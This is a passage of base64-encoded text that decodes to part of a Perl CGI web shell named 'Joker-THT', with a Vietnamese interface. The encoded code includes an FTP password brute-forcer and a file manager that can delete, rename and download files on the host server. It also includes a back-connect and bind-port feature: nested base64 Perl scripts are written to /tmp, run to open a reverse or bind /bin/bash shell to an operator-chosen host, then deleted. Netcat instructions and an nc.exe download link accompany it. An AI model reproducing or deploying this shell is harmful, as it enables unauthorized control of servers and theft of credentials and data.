ucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9Ikpva2VyLVRIVCIvPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4KRU5ECnJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXIKewoJbXkgJHJlc3VsdD0iIjsKCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsKCWlmKCRpbnsndXNlcid9IGVxICIiKQoJewoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsKCX1lbHNlCgl7CgkJdXNlIE5ldDo6RlRQOyAKCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlueyd1c2VyJ30pOwoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7CgkJY2hvbXAoQHVzZXIpOwoJCWNob21wKEBwYXNzKTsKCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsKCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpCgkJewoJCQlpZigkdXNlcm5hbWUgbmUgIiIpCgkJCXsKCQkJCWZvcmVhY2ggJHBhc3N3b3JkIChAcGFzcykKCQkJCXsKCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyAKCQkJCQlpZigkZnRwLT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpCgkJCQkJewoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsKCQkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJCQlicmVhazsKCQkJCQl9CgkJCQkJaWYoJGlueydzbGVlcCd9IG5lICIwIikKCQkJCQl7CgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewpyZXR1cm4gPDxFTkQ7Cjxicj48YnI+PHRhYmxlPjx0cj48Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj48dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD48dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPgpQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE3MTEiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4KPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9Ikpva2VyLVRIVCI+PC90ZD48L2Zvcm0+PC90cj48dHI+PHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCjxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT48YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgo8L3RyPjwvdGFibGU+PGJyPjxicj48dGFibGU+PHRyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPjx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgpNJiM3ODUzO3QgS2gmIzc4NDk7dTogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjEyIiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9Ikpva2VyLVRIVCI+PC90ZD4KPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9Ikpva2VyLVRIVCI+PC90ZD48L2Zvcm0+PC90cj48dHI+PHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4KPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KPC90cj48L3RhYmxlPjxici8+PGI+PGEgc3R5bGU9ImNvbG9yOiNGRkY1MDA7IiBocmVmPSJodHRwOi8vd3d3Lm1lZGlhZmlyZS5jb20vZG93bmxvYWQvb3oyNjA1bjMyOGdua3J1IiB0YXJnZXQ9Il9ibGFuayI+Q2xpY2sgRG93bmxvYWQgTmV0Y2F0LCBuYy5leGU8L2E+PC9iPjxicj4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IHVzZSBwZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kCnsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0NuVnpaU0JUYjJOclpYUTdDaVJqYldROUlDSnNlVzU0SWpzS0pITjVjM1JsYlQwZ0oyVmphRzhnSWlJN0NtVmphRzhnSWxzclhTQk5ZWEpwYjI0d01ERWdRbUZqYXlCRGIyNXVaV04wSUZSb1lXNW9JRU52Ym1jZ0lqc0taV05vYnlBaVd5dGRJRVpDT2lCb2RIUndjem92TDNkM2R5NW1ZV05sWW05dmF5NWpiMjB2VUdGeWRIa3VUV0Z5YVc5dU1EQXhJanNLWldOb2J5QWlXeXRkSUUxaGFXdzZJRTF5TGsxaGNtbHZiakF3TVVCbmJXRnBiQzVqYjIwaU8yVmphRzhnSWlJN0NtVmphRzhnSWxzdFhTQlZibUZ0WlNBdFlUb2lPMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqYUc4Z0lpSTdDbVZqYUc4Z0lsc3RYU0JwWkRvaU8yVmphRzhnSW1CcFpHQWlPMlZqYUc4Z0lpSTdaV05vYnlBaVd5MWRJSEIzWkRvaU93cGxZMmh2SUNKZ2NIZGtZQ0k3WldOb2J5QWlJanRsWTJodklDSmJLMTBnUTI5dGJXRnVaQ0JOWVhKcGIyNHdNREUrSWp0bFkyaHZJaUk3TDJKcGJpOXphQ2M3Q2lRd1BTUmpiV1E3Q2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3Q2lSd2IzSjBQU1JCVWtkV1d6RmRPd29rYVdGa1pISTlhVzVsZEY5aGRHOXVLQ1IwWVhKblpYUXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc0tKSEJ5YjNSdlBXZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LVHNLYzI5amEyVjBLRk5QUTB0RlZDd2dVRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBieWtnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93cGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdDbTl3Wlc0b1UxUkVTVTRzSUNJK0psTlBRMHRGVkNJcE93cHZjR1Z1S0ZOVVJFOVZWQ3dnSWo0bVUwOURTMFZVSWlrN0NtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzS2MzbHpkR1Z0S0NSemVYTjBaVzBwT3dwamJHOXpaU2hUVkVSSlRpazdDbU5zYjNObEtGTlVSRTlWVkNrN0NtTnNiM05sS0ZOVVJFVlNVaWs3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LVHNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7CgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwoJaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICIkZmlsZSI7Cgl9CglyZXR1cm4gIjAiOwp9CnN1YiBQYXJzZUZpbGVTaXplKCQpCnsKCW15ICRzaXplID0gc2hpZnQ7CglpZigkc2l6ZSA8PSAxMDI0KQoJewoJCXJldHVybiAkc2l6ZS4gIiBCIjsKCX0KCWVsc2UKCXsKCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgS0IiOwoJCX0KCQllbHNlIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgTUIiOwoJCX0KCX0KfQpzdWIgdHJpbSgkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nID1+IHMvXlxzKy8vOwoJJHN0cmluZyA9fiBzL1xzKyQvLzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBBZGRTbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBUcmltU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7Cgkkc3RyaW5nPX4gcy9cXFxcL1xcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIG9uU3VibWl0PVwiRW5jb2RlcignZCcpXCIgYWN0aW9uPSckU2NyaXB0TG9jYXRpb24nPjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nSm9rZXItVEhUJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+VCYjMjM0O24gRmlsZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPktpY2sgVGgmIzQzMjsmIzc4OTk7YyBGaWxlPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+TiYjNDE3O2kgUyYjNzkwMzsgaCYjNzkxOTt1PC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UyYjNzkyMTsgQyYjNzg0NTtwIFBoJiMyMzM7cDwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPlRoYXkgJiMyNzI7JiM3ODkzO2kgTSYjNzg5OTtpIE5oJiM3ODQ1O3Q8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5IJiMyMjQ7bmggJiMyNzI7JiM3ODk3O25nPC90aD48L3RyPiI7CgkJbXkgJHN0eWxlPSJub3RsaW5lIjsKCQlteSAkaT0wOwoJCWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRkID0gJnRyaW0oJGQpOwoJCQkkZGlybmFtZT0kZDsKCQkJaWYoJGQgZXEgIi4uIikgCgkJCXsKCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7CgkJCX0KCQkJZWxzaWYoJGQgZXEgIi4iKSAKCQkJewoJCQkJbmV4dDsKCQkJfQoJCQllbHNlIAoJCQl7CgkJCQkkZCA9ICRwYXRoLiRkOwoJCQl9CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+RElSPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj4mIzI3MjsmIzc4OTM7aSBUJiMyMzQ7bjwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5EaSBDaHV5JiM3ODc1O248L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPiYjMjcyOyYjNzg5MztpIFQmIzIzNDtuPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPlQmIzc4NDM7aSBYdSYjNzg4OTtuZzwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5EaSBDaHV5JiM3ODc1O248L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tL